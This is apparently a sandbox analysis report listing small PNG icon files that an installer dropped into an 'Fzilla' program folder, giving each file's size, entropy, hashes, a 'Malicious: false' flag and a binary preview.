SSDEEP:	12:6v/7p+Kil4D4QvJ+xSmulQbXtSt1T2y7pwp6cZgJXLYkL1POIw8Z84cnO8Su5DSc:OZy4D6Xk/T2yip6cKLc8S4uDZSk57
MD5:	B5CB370FCEC1442120FCCF82536014B9
SHA1:	659BAD40CE3A261D40F8092F0EFDD790C48082BD
SHA-256:	6D3046AD1956455323F8AF98BE89D4410DC3AC8234876D898F8EED9A3D3A88B6
SHA-512:	992F834B13ABB47E6E416D097315434FA37A082670667ACDC577E32F4738E510F2FBEE072F3863CDD96824C1E4FDE018E077B2031081FED3E66F1CE5CC39A8E8
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...CB.B.".'%..G.&.0..,m]Xml......f.........qLf.mXG..zf.u....:W7..nnn.\|}}.;.z...s)..V4.(.:+........8....m3.m.o.6j.m...m...3VN.!f.n3...X.w...J....G@E.m......}....N+~J ..ok.z(...E"H.R.d2._.s...b.U.L.C..8...s../..f..%.+..l6.mvX.Vt.....6G.ck.>...e..7...GVE..Zg......9.^...;.CS`....q.?.q#...../-.kG%...V...=..G......=........J,:9..B..F...CP7..8...,D..A.6p/p=.....u.2....t......M..sc.....].1..X.N..{<...BQ.T..C....sC..v/...1.r...2.3oN....ky(8...&.+..~......C....F1z.3..C3.OH \.CsySt....U........J..........'...9.2..6+...?&PRs.4~E.S..w..S...e..d..eCI.......>...r.r..~../..s...y)=+o5.(S..............!19.kt\|JUbQ...!./.......b......4..x.6....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-66B4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	677
Entropy (8bit):	7.569978264591361
Encrypted:	false
SSDEEP:	12:6v/7EHutTZTQ/FpjxX+29bJvkb015csoGcUIL0ek7le9lSnOW26GXG1:VOfEdv9pC01jlUlSnOWRD1
MD5:	6FDC07BC50534B83050EDAC3BF08C53F
SHA1:	F78469B0E2DAA7BAAF2F5E8143F2A850E0F3DFCC
SHA-256:	A62AD5301207902E9CF7071489CE5F176FAC7E012DC16A532D4FC996EB4C5E7A
SHA-512:	F669A58A085CFDCF6B989253148FB560E0AD1B4DE068942D4932974E977D995EF939DCA504964537C233F218F698C7F3654A7216103C3AF116CBC2B9DBB7F880
Malicious:	false
Preview:	.PNG........IHDR................a...lIDATx.b...;:...;....u..o..<I....5...g666^jnn.........b]]...M..;R...O..n..@...XG....XO..W..wR+.[u.k...m[...3.o...9..v..v8..jk..`.X....c....& ::Z.r.P........,....%D.& 22R.t:A!...9.7T.t:........"h..a.7.pj...4..I.p.....W../Y,} .....9.'..c.N....P...\h4.p.....H..1...-...)d...V..e.._]..0.@=.eY.}....:u.T..-.7.MB.T.B..es...S....4...AC..........9\|.0...r....8..$..Jex.0x\+........nr.AAA..v..pT?..j..h.34....9:x..k..v.8..+,].Tj.O......4.....xFwp..>.].&.g"Q..?..M.I.g.I....R.P%.u..A$.;:..?xp%F...0.......h~..!.RB........B...........c.....7._\|.7.l..k..x.`.H`.r...sm]>..}..........G..-[..D.`..k.:ij..t.....9mt..!K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-6UO69.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	572
Entropy (8bit):	7.466948882485816
Encrypted:	false
SSDEEP:	12:6v/7VCqKr5vE3T0Nau1RLArtQzV8+kyjKg/RH7I/A7:YKrdE3T0h1hSQCDYv1v
MD5:	F62B4DC63CE62618BD4366160EBBFC31
SHA1:	8B322D2BF48FFD20E613F5BFFB6FE5D7E8D22376
SHA-256:	6377353E0CDCE7FAAA80F66DE80787D92E0629B57326AB1658607EDF663618A3
SHA-512:	9299A0A1E0396CD826307244778E0D951B9E5DB27CA1711F87B2F73741D34DC90D726A6F504D9018EFD78A7DC5C922B18AD2245FD4094B6547F3A23CDA915BB0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b .,?..u...R...1^y...=.5ar,0F....j.\|._Uy..U.l.5..A.@._=...;D..w.@.I.9.)....3......3k....Z..5+.5..z..S.......,.2..c.y.RI...D........f.M.;.T......U...1\|_../C]..d.O.v..D...c....(u.F.....6..S......+.P........0...IC...i..@..TA2X..3..`.....A....b]V.......RB(........B..zR......JA".......d...n..;...;.z...B..(.C......p...\|......./.8f....\|...$.....`.....u5Q.O.U........]`.}...+I....Ij...EPD.. )..?.......K..>...........?.u..==..`.sNsJ....f.....+..{g......]}.f]..z.@x...UW.....k.M.>.....&....$......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-8ATO8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.472463767706255
Encrypted:	false
SSDEEP:	12:6v/73dGiQB7KgrYIwGUI3vDElAMug8/NO91:S8iM2g8rHI3rhg8/k91
MD5:	F4456E8B033D43B45EB314741C412BB6
SHA1:	4D6D0C346BE833F01C786E919D028C46E0DA14F6
SHA-256:	1E30A6DDA5993A7F782CB75D2983AE9CB771D345E5CA5CD0C6102B492CAA8F51
SHA-512:	001975168B130E7EDF9955603E6E44606AD6CD4F356A88D048F6CB164F314A529BCEB8FE5287773EE56AA87ACD8D259885609E687C1C7B793A6B44CAAAD50782
Malicious:	false
Preview:	.PNG........IHDR................a...}IDATx......A.@...6...8...1k.n.:v..7......~5.....F.H.t.K}../"dKi;.xi8...y...0.yU....h>V.1..x..+..0.r..xh..+.@!G.H...k!.Vm..a.f.T~.y.:.R#..?...$....Mv.\s...{h.......*x.%B-...b..O.mT.m.........._.[b.$Iu..j.t..[..;9.........S.....@M._h.={....3...!i.,..s..B ....4.F.W'0R.G.6.$.1.2..&.j..~...!....Y...S..cH%a#!p.......OU...@9........n..p.......R8..E..<.] DG.s.G?....[3.K.(....^f.7\|......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-8JMO9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	536
Entropy (8bit):	7.489133032978834
Encrypted:	false
SSDEEP:	12:6v/7ewf3j4Kw98IUvitrjR7Jih1Xsh2XdY+xG/r6TtSQ:a3j4H79R7Jih18ISM
MD5:	23C8E9C541DD306DECB5C066C759355A
SHA1:	B51D1D56EDE598623C5C8BB52050751AC35DAAB9
SHA-256:	4A2F42067FC7CFD6CA98391195F21A8CC68F30089DE0673132C9D2F59507462D
SHA-512:	90E4182366599614C909DEC1B9299DE8B1323C8B60FA04FB5A707D01E7D48BE7AB7AAF475D09DD057E98CD1245F60011B45A9B12F3CDA7B3253B96498EAF26B4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?.%..m.....!.. .......m.b[.L3.N....8..m.6.~t.u..;.f)..&...>....;..T..AT(%.S.I...".l\.b.@..fM..<'.=y.. q..%..CjT...R.c....JV..TJ...K.<.............J.Z-.R..J.Y`....5.-_.."/Z_."h.$q.>q....%s..D1S..Ty.q.9U..K.=...Z..p\.K.z{{...c.._&.......0zp..(.!r..m~...>\|H..?.sA.D.3o.?*..3...`..\|....s...... ..#....{.}7..i.Y.....di.........B.8..x....$#.....(W._......^}......38F.).0..\|.".^..9~.'...Uc]OO7...I...}..L..UATq.......ii..fLEQ.g../x..=f.[71s83T.Js......{..qT.<.zX....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-A4CS9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	780
Entropy (8bit):	7.637493245707135
Encrypted:	false
SSDEEP:	24:yG0emLDp23hNmim5N/xxKzcHzgyVqOnoa:yjLpCStH0yVGa
MD5:	681B21AB5DABED0CEF13F7D6E0F06F24
SHA1:	8313CB011C469B73AD2FE5FF7D6BA17B1095CEB1
SHA-256:	D4CD5046A3D89A259BD0690CF76D0CF61F6A19448D77149C3AEC2C3194367275
SHA-512:	7B8A705C6A785E67E5060B7BAD05A47FFCDB852C8F2D4E04255D47B1947327160B76B4184566AEDFC964A0A4A467C7CCA42AEA1020AEBBAF8F4540F065701C82
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.ba@..M.Y........caa............?.Y..456e1.......O.\|......\|.x.....-.{....W.^.?a..MMM.j.......Y.T.h...K.J.....X.(.p..../\...............r,Y.d.C.....-..//..{..........Ta.Lp....".......4.Ns\|Y.m..u...m......zu..).TJ........02<.........Y.R......p'J3.d(K...m..j.....f}..#.C..(..c.>..=........O.q]....&....n.O../.......................&..".Z.4H8)\|....C.:;...F+.`Y.\|.)...W_M....'.'...).KhL.4q..!........d.a...H1>.G.$.Kb.cX.i.P.".H..eI.m..D............U.{G5....e..op..............w...I...pG...`.qS..W.h..\....W^.[7Bkw..n;.a8...1.E.E.$..i......:7MP.a.2.h..z ....[......(..w...S[S.l..Hu....<_R..NO..'.\yW..x..3''...#...#..,R$E....#R)..s..Bea'l@... ...}].\|.P....N.8*}.'.+&.@...>..B..%..,..RvU."D....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-A65DS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	659
Entropy (8bit):	7.633728124584686
Encrypted:	false
SSDEEP:	12:6v/7tARA1gzNdHymvUlq3gzvT61idOg/rCK+4Invw3gspYmYeI0ckbbl:w27hdHyf4QDT61s1rCK+RmumYeekbp
MD5:	38575C4B0464A1672964FE6A30365A48
SHA1:	674001A1CC71D73D537EAD4F732ECA88442F9545
SHA-256:	2EEBCEAA84E8E21A2058C81D25C88F268E027C666FE8D08AED67ABB4A9CAEED8
SHA-512:	B70C8AA007BCAD2D7E74EF928A882D248FBC7D561E5AD1F5989DAFC56BAF895FCD5B0B7C81C97AAE4CF69FCCF1C011930A3E9CB48D704C3A6B35DBBD54A33045
Malicious:	false
Preview:	.PNG........IHDR................a...ZIDATx......Q.....m.m[..N!.].m.6....?7g_W}.....y..;Xk...4....G...._..eO....=.Q..5.7_baoc.\..K..55.2...4h.e..B.}<...5m..f]....3.1-S.a...N6.H .. .,].L.Z5..S...J.....RsJ..........m...I...`&....y-[.OM...v.0(4.6.......dG.k.:t..3..R.N.h...7.E........p....l.t..W^q.C..E32...\O......"(.....X......#c.s.m3Y.....wjX..($.\"..~,.....;....$......H..s....~.x.-......sHZ....;.7&A.....w...K-..jPf%.{.'.#..%...4u.V..<.FWK..%h.2zNP.3......f...'Q..--...0DD&'GG.h.3.{d.(...4.b..&&. Y#V.>..\|r.+d....9O....&........v%3E......[........%..u....N.....V.y..8.t_..[).L..*8.U..Y...K'.h.,...k.....'^.z.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-APLTP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.661409541092386
Encrypted:	false
SSDEEP:	12:6v/7uLu+4upS74aKg/Rhi7ok8fUU1lEmivcWAJTCtwloYTMfU92SsJ3naGf9:PLubupS7esPUmGAJTOwHw331
MD5:	969D28E6AA56CA62359C57AF9D16AFE1
SHA1:	BB73D37D6A56CA8F3A5E2E01B7DF92405C0E593A
SHA-256:	B129567F65655B2133DED61F0DA9EB68330B892A282E797EC0FBE31645001482
SHA-512:	6DBCB5B7CB976888B90EB5251102E4998C4B004B13313016A9763B7DAB8410988C3409D4F65782CC41A81D43E94384FE50857FE1444F82B01F488FEEC02E9F3E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.u...]1...<...m.m.k.m.v.....4....7s....?.....o#B.RSSm....9RJ....\|..f..1.?xyy..[.u.c..l6T...>G`.i...@.h.[5....?..t ....e..$AQ........{.k.. ....0.5.Y.. .....).c.5...M.%.c;.}........X.h..k:..X,0.!D...wB.V+.1..\(z..~......3P...A.....EX......o..D....tL..)P......".....(..K...LS.......$...+e.O.ac...TE;.{q.b.A.....m>...7...%".3.....^oh..O'.g.@..@<.%"...b..)5/.itz.X.T.z..xy.:Xmf(.n''.O...+...~Ic.Y5../\}xq.20.b15-1.....F.#T...,..d".g4.~..0n....F'8;."=/....O/........R.1.&.F..>.DS Q.T.H.....+./...u....wvv...$...s.N...;.....'[....{......=O.......F...............[v..B..j.d....}...............O.!5jV..qc3.....l........`.2tp_...J...e"#..A@@.V@.f.._........]...D..5....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-CG283.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	184
Entropy (8bit):	6.309989587011825
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6Ptash+rWbb9FnattUrA/PKa90+MK1nnR1xglc1fTtRGDtWt:6v/lhPO6vJvn8UrAPLtL1nnR1xbTLG4t
MD5:	52F974BAFAB1FA8618307EA8E96B83AC
SHA1:	8DA59C0A32961CDA4DFB9816F2239D2126D16FEF
SHA-256:	EB05ECF138861F8148B4D2A9118147E5D7B4329269642D60B87638AA70C29992
SHA-512:	1DE291680981141A070A4913E470D7D6681EE3C9560370C7A7E27CE396DB38D6575817910F0363DA5AC6E83ED4D7FFDB141BF5B543E3173E0312BDCCA942A944
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.]....Q.E.....}.X..}9E.N.H.d..rx[y.. ...r........K...I./P8..q..P......B:h~...5..:...#.......H..f.B.'Na.-.....?-<v ..~.X+.0z......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-EL4JO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	243
Entropy (8bit):	6.677692120647699
Encrypted:	false
SSDEEP:	6:6v/lhPmJwPd/ghk9VKKU4FMyfBEyUyaYRl/Vp:6v/7OiPlghkzKJoZHzaYRl/7
MD5:	FA61B19B9CC28C333E3BD132472C96F6
SHA1:	39E767B36CAB8F13DE3C4D7929EBA7DCB5C18495
SHA-256:	96A7D4BEE2188BA7678CBD9538039CFE6F7753408C0505092FCBD5067084108D
SHA-512:	A0FD6A5A6ECDFA3531793ED69DE2BFEABB76E260934048BBFDE9B4F9745CF315D5A66BA109578689CEC105249A32838D2CF948A517B8D3E2AB741B673067FD33
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..v..8....IDATx.U.n.1.......mo.l..-...6....?B..!_..`h..u..Y!......N..q4...3..."C...v>....C...A.X}z.!...cl.K...p+Ct....4.m.z..8...$S..2&.0t".P}.K)..P..dj.....`.P.......'...t..^"....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-FPTNH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	408
Entropy (8bit):	7.2172892219169755
Encrypted:	false
SSDEEP:	6:6v/lhPWCdkFaMVi9TOjoHXY+3EkAJhPNpe031V8e6qKH/VHF3lE9zJlIp:6v/7tmFaMA9TdIS4So1V87qoVHFm9lli
MD5:	DCE954754C128B3FE51250C64309E87C
SHA1:	DFC6D57265675DFCED06EFFE173930E52E931CC0
SHA-256:	A6122501B77A7B5C28FE876ACADE9B24A6890D2050EA34B0C8545FE92988C545
SHA-512:	B0B215F116EB2191AFC456C7EFFD5E08CEAB793C3A0C675E68CB97773F1361DAA85A39D34DE95C047EFC37A49A50A3A8B16A3CEAABBDE10C268A3253A6EB7A44
Malicious:	false
Preview:	.PNG........IHDR................a..._IDATx.b@.M...O..........5 .d...Z....b .f.\|.w...G.........m.c..0...I5! ..?,E.....!D..e.3.....N.y\..r.J.r.J).^tr..5.T......m...v...Gt>..E..f.G..`!%N...'....U..Y8......).(^.l.....\|@....J).....dt....I.....y.x2.[..P...<e..'d....TpG..}l.O.......Ab 9.R.O...*N.. <..`..@..U.b..G.AM....,.jl.l.Z...@b 9...Z....6'd.mY..3k..u.. .-c.s_.&.>....@r 5 .0}.wM'.H..?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-G48VD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	327
Entropy (8bit):	6.991379176286924
Encrypted:	false
SSDEEP:	6:6v/lhPWL2h573+cvlblhXcHJq30XvJOY8idoyfKMX0okKrQdoxjp:6v/7UVcvlJhoJRvoFSrfKMFGoxN
MD5:	42DA65F59EB24E40B497BB26C4F32BF6
SHA1:	703920EDA5BAD3D9D2DDD55F1C014B015493FA77
SHA-256:	B1D5B457E485017BBDDABE6B0C8986B58D0C064302E42EB5B7D804E65C8CCD09
SHA-512:	378C0C66A0307BD8088995D211434AD0500CF45203E5D2765DD802BB2CC644F77047C127B50B7C9773B0F5C7081993C9DE2F4F19438A37405C95DCBC5D6AF6A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..O..`.]I..I.Y..a.XI $..:A:A........."@ .I........w....7_of.\_^?.....yp...?..?s...a^..(..4M.m..z!.2DQ...q.....I.`.g...G.......e..m..:.. .8.X....xK..7..4.w..i.P..DQ....l.6\|.g..`.i.f..$I\|.i.vr...h].0.S.......*...0M..a.,.x.>.\|.X..a..9...8r.?....!.......`...i....[C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-J18QO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.6482137925537845
Encrypted:	false
SSDEEP:	12:6v/7skxOju0F3Or1PQC943QaD9RVxNbW2C8x712WYs3bGNUigKbZcdOF2LvE3jFk:Vkx+F0PQ7377bsw7HYs34hcMoE32
MD5:	D3D1D467B8CED3D081CE9567FD21178F
SHA1:	F891D40DACC6CF100E185C27A251566FCBE0400D
SHA-256:	32EF9005B6C120E5A314A4CA20F1F08F5F02A6584A3B4BBD2711DFD0CD359F5B
SHA-512:	153AC3930ACED1E6BDAF2EBBC6E97E7D5FAD4C873FDDD27C8A2140F6E08E2C9A388CC8B458FD11477AB1C93AFF0BD807BB555B0920A48046FB65C8F070F43318
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b ..z.M...VA.g"......h.....fgw...m.Q%u.2f.[ul;......g~.../>...?.....C....:..Z......k.. @9...t.."..0..y....u....\.J<;..\......8.x.p4.Ga .,....v..$\.Y.#._.]..qQ......Q3..i.+....!...c.e.,Z.2.2.t.^".Q.t...}....w.,....B....p...S.5.AHD..E...e#...B..}..{......4....,.N^9o....+..pm..r.v..z..(5.....{....='..D....\.....:.V...%.{..'..z.....)....~..Sl..k....y\|......O?...K.-C..]R.....]....C..C.G^..jh.....[}..>.p..!Qv....E_..z.]....=.R.s~...\.......R....M......Y.jQ....W.Ra..I..To...V...w.u..S.}....y0......!...`..1(&....\8...f..hU...`.....%.6.5t.....AS....Av...H.EG..Fw 1..fh...F................8.}...dM...(.i\|g .p.r..h.'V=.... ..2.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-JN9LV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	527
Entropy (8bit):	7.429145983514361
Encrypted:	false
SSDEEP:	12:6v/7kO0IdUldogxRLXOB+upUah+JWI4sc:GDpgxRCXUQ+JW4c
MD5:	6F1EE5BBF770201BBCD0801B6C59BA84
SHA1:	ADAD6ADC5B0B320CAB16079DA78A7860EE4AFC2D
SHA-256:	93CFB2FEAEA7A22581BB67DE75F42450AF39805CC2F33F5DCBB0D959C81AC683
SHA-512:	BA56C48B88609B1BD870B58BDC53B1E4F5973FFD24DAC4C789B8EB31300715E67BE73D33930471094458CDC588FCD7564827629C4D5686F7AB0BDE1B9EB0E64F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..RS..A.}..m......!...m.?...,.=]....(?.E..~....T.X.R..U0Q..el?_..)...? &..P......X,......X...........6..X..("...,...L...-..#,M.P[g_.6....0W.).,.9.I.E.t9.MJ.".....N.'.}z..0.I.........!.)....=ra.#.E.d.Gy.%.kP.4.r!<..6.$..T...@....J%/..z..G_..0.....vk...x...Y...<....\...@....~^.A.i...;.5.u.<..vi$..}mW..e...B.R...\..g..j]m..._..p.#...S...x%..........O.7..4.......`.......G\|...8....K.....S.Lly.el.\|.....c..oU.!.}....O.B..Qt..@.......*.....B....Alj.B_..9.x....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-MEHJI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.651534126730263
Encrypted:	false
SSDEEP:	12:6v/7vF05+dAbkKbNX3CbcJw443prjfIPg/gsxE1EwseCt46YgFmQvFBnj9:M0Edsso4Z/IPgHOKwsz43uvFx9
MD5:	1A30DB573D845F5EEE2F24D78A7E2201
SHA1:	C3BA6A171615FE93A723873E5BE00B026A5E57DD
SHA-256:	2617350A14E29058F2534A4497E9C1F226AD209D0CED53101393F0E3FF80EE1B
SHA-512:	BEC9DD57AA40487F757E8368805F2D84DFC9F769D7BB94BA5A0AAAB59C21AF477245A8F7C70973621C4E3065A92EA4A0604DB117F544B93046A2DE9CEB7562B0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b@....y.K...X@.%..0/?qW.....n<....].'....v.ko6...4.h.9y....q.4.lN.igK........+.3.##H..r..&......g..m.m...q......V.....z.L%/.....H.3Ev$.....#O...s..k....}x..1Gq.... ...~.Gw3E.E..$.:.#....e.(...Y.Q....O......e0(R0J...3o.....yjj.\|X..)........&.....~...(.W......L(........ok..9`..[.9lf.aG.{..{.]q..B..1.C.......B..P..TJ..8...5!.H....Z&...=.J..i...'..Ed.M..U..A...E.$.... I....."..D6r...h./JPp.B.x.3.....?....../.....'.y3.R.Tw...%..B.>f.N..:.."..N3.......]z.e-E.8Q........X.rT...4L.3%.}Sm.4g.m...xG...D....X.Z....LWso.m........f.;9..........t....T."L...\....}o.......~k..Nv..@.BT. h......~.t..)...V^p..#.j...y....Z~......A..)>...d1......1......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-QC8NK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	466
Entropy (8bit):	7.333178197092268
Encrypted:	false
SSDEEP:	12:6v/7DdYRPKP0ZfG7vX3HteLw3Ziooq7wIhkq93mrE7:mdY+gfG7vX3reMwNFr+
MD5:	1395C6FCAEB46C0DF3CB8451252A08CF
SHA1:	F4815FF4760E97EBF2021438A2FF9CE621E9FD73
SHA-256:	B90409186AD9EF894F146E2BCEFACEE818915CE14A1D4E42F75979D15323835F
SHA-512:	1FDE70CEF4A5B4D050BEAB9DCD72CB5C4E307A0FE79E025AAACC1EE9BBA29C7CBD0FB13CBBD67B3EE70BCF5A593E809891F875D1EA718163F1D71A3BE184FB53
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c ..N..../`.K.....?.=.{.C..v93.e".x...P.6:..m\|....q..P.......'...a..D..Z...j6.UasN...e..5.b..6..'..m...h.Mk.._.....s.....e0.P;........._..[.q.o........Z..w(.S.+._.V.R...iW.f..x..}....I\|7.'..B..~._).Iq..O.....T......%.-..a.o3..@...H?..X...D...D...T..2.\|..:.Z....N......1..h..`..*j.RSXe.4.h...x.0.x.(.D.X.z..3.......N......DG...F...^.......0......../....dF....].@ft!.....[....L@0.p.......p.1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-QMML2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	431
Entropy (8bit):	7.265901174227429
Encrypted:	false
SSDEEP:	12:6v/78O0j6bD+0GUND2YB+LmKY2Bka3lUscic:8h5GUNSw8R1Ga+Uc
MD5:	87C5FFC9A15D5CDD8CD569CAF399ECCF
SHA1:	A19EBD33C4486FB3D02B5DFA0FD7445ED6F370D3
SHA-256:	5B7F643B59C9CEB15D6A2BE4F99783DFE881D5E228CB70DD094981CF31B2A15B
SHA-512:	3AD18A4A0A68F9E9FFEAE82CD7732B9F3FAACD620F62B35AA79698BB94949A596E39A3372EA70CF4E1DFFD892C56FF3CE831BF064A5E50F98642D52793A0F0AC
Malicious:	false
Preview:	.PNG........IHDR................a...vIDATx.....\..@..?...wcL4.2.RF...k...m0.Cn9.g..<.,FFF,....P...r@.".D.........i..&..E.G.(..e....O.\|?...8;;C.4-;.l......r~~...lt&......+. ........g........OtttP]]....'''".....~..IWW7.m.\|.....y.'..?.)........~..!.y...D"....{...1L...5...),(.......3...B.6.b...1FGG............. ....RPP@ii)...TVT".x.x...B....C.u.E..t...D~~~fAcc.\|$..I.mmm...Z .Jdy.@.c..........'.-...4....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-QR47O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	870
Entropy (8bit):	7.706212059387156
Encrypted:	false
SSDEEP:	24:rDbQu6tMc3Ryxz3KWDA//IzZ9tZ161cPpzf6wVQq5erEM8x:rfQulERyxzNE3U3b1rPpzcq5era
MD5:	76C81EEDD0279A4BD28FFCEC055C7348
SHA1:	74CEBD04B70007848B765B60667FCE50033508AE
SHA-256:	98DF84E579D4BEEA20950B22720641203F3ED67C4C845C7B4EC02C7551C85F9A
SHA-512:	F94A6236F4D8DED3EB82B26B859E80ED0D9577A6913EA7F7850ED1177C0BE41B7740FC02AB789C743EDA55AF4FDA492D31FED0D56FC172A7833ACA358491DD08
Malicious:	false
Preview:	.PNG........IHDR................a...-IDATx......G.....U....m.6.j.v.T..}.b'....Nm\|cC....9...-......uK..-.n...e..c.w.::......[,U......p....\|.5...g......Y......3..,..(.]..T.q5.!.d..c1(...\..n..z.....>=5......WZi6./.z.Y......}=.....z.g...#Y.\..~..F.....[o.z........E4<..V[..f......C..`.2..8..?.(.z.....<.8C1..(......a.N..Zw[.....d.a\lR...Ag..>..C........fC...j...%ERu.{..:.E"..6....a../.....L..eYK.....d...&C.}05.p.I...(Z.T..........t..8Pm..,..e..(U&.Q@4A%u..-..<`......'...lR...~Yu...s...jx.....V..[.M..(.!&.r.f..h%..:..O<u....X5$.V......c.6...?...(.}..O.K.u.....V..0:.N.mV......we.U..Z.;. ....ib..D<.0...G.<z..... .v..G.x.w.y..43.kOw.'......c.}..R.....A.0.Yw{.?.T..'.{...........Y..L..z...bI.....P....;....u..v.E.T..q.._...e...s...u.._\|......#.%...n...DG../9..3.'........tt"v...\|.r..k.rq...C.,v.4.<9.E\\"..}..%+....u.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-SE715.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.673095567638909
Encrypted:	false
SSDEEP:	12:6v/7jx+Q3ZTb2qrneOMFFcnWwIfvS5Jm6uivFkEKcBoiDVonVtBGfhzK8aeA:KZX2qrzO6vvOcVDSnHBGfh2R9
MD5:	879AE3716290A114AC2E1DBA432EFD77
SHA1:	EABEED38702C42F24661635BEC421D45AD86383C
SHA-256:	C72217406E7F3C1BB45A5154E88376833AF99F6D288BBBD3A42C90888F4090DF
SHA-512:	F4EFC928AFE71A565A56633912B028E0D227C9F3140C2568C5C42F8978232BC4A9083DB7E5A5E94FDC0FA9F72C90487821F29853B1162C67C862E766C9107919
Malicious:	false
